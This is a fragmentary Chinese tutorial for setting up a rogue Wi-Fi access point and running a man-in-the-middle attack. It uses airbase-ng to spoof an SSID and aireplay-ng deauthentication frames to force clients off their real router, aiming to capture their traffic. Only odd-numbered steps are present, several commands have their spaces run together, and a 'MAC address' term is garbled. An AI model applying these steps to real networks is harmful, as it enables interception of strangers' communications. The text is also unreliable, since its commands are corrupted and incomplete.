1、开BT5的终端，然后输入”iwconfig”检查无线网卡"iwconfig"类似 linux kali中的“ifconfig”
3、启动监听模式后，输入“airodump-ngmon0”开始抓包；
5、现在开始建立你的伪造路由器，命令如下： airbase-ng -e "SSiD" 网卡名称 。 *airbase-ng 是可以针对AP（接入点）自身的客户端进行攻击；*“-e+SSID”指定伪造AP的SSID
7、创建一个新的网卡配置，命令如下： ifconfigeth00.0.0.0up ifconfigat00.0.0.0up
9、使用下面的命令发送认证包到路由器: aireplay-ng--deauth0-a M帆歌达缒AC地址 mon0*aireplay-ng用来注入帧数据* -a指定被攻击者的BSSID。
11、你可以看看是不是有客户端已经连接上了，有的话会显示在第五步的那个命令终端里面。
13、选择网卡，点开始（start）
15、抓取wifi数据包和中间人攻击的效果图
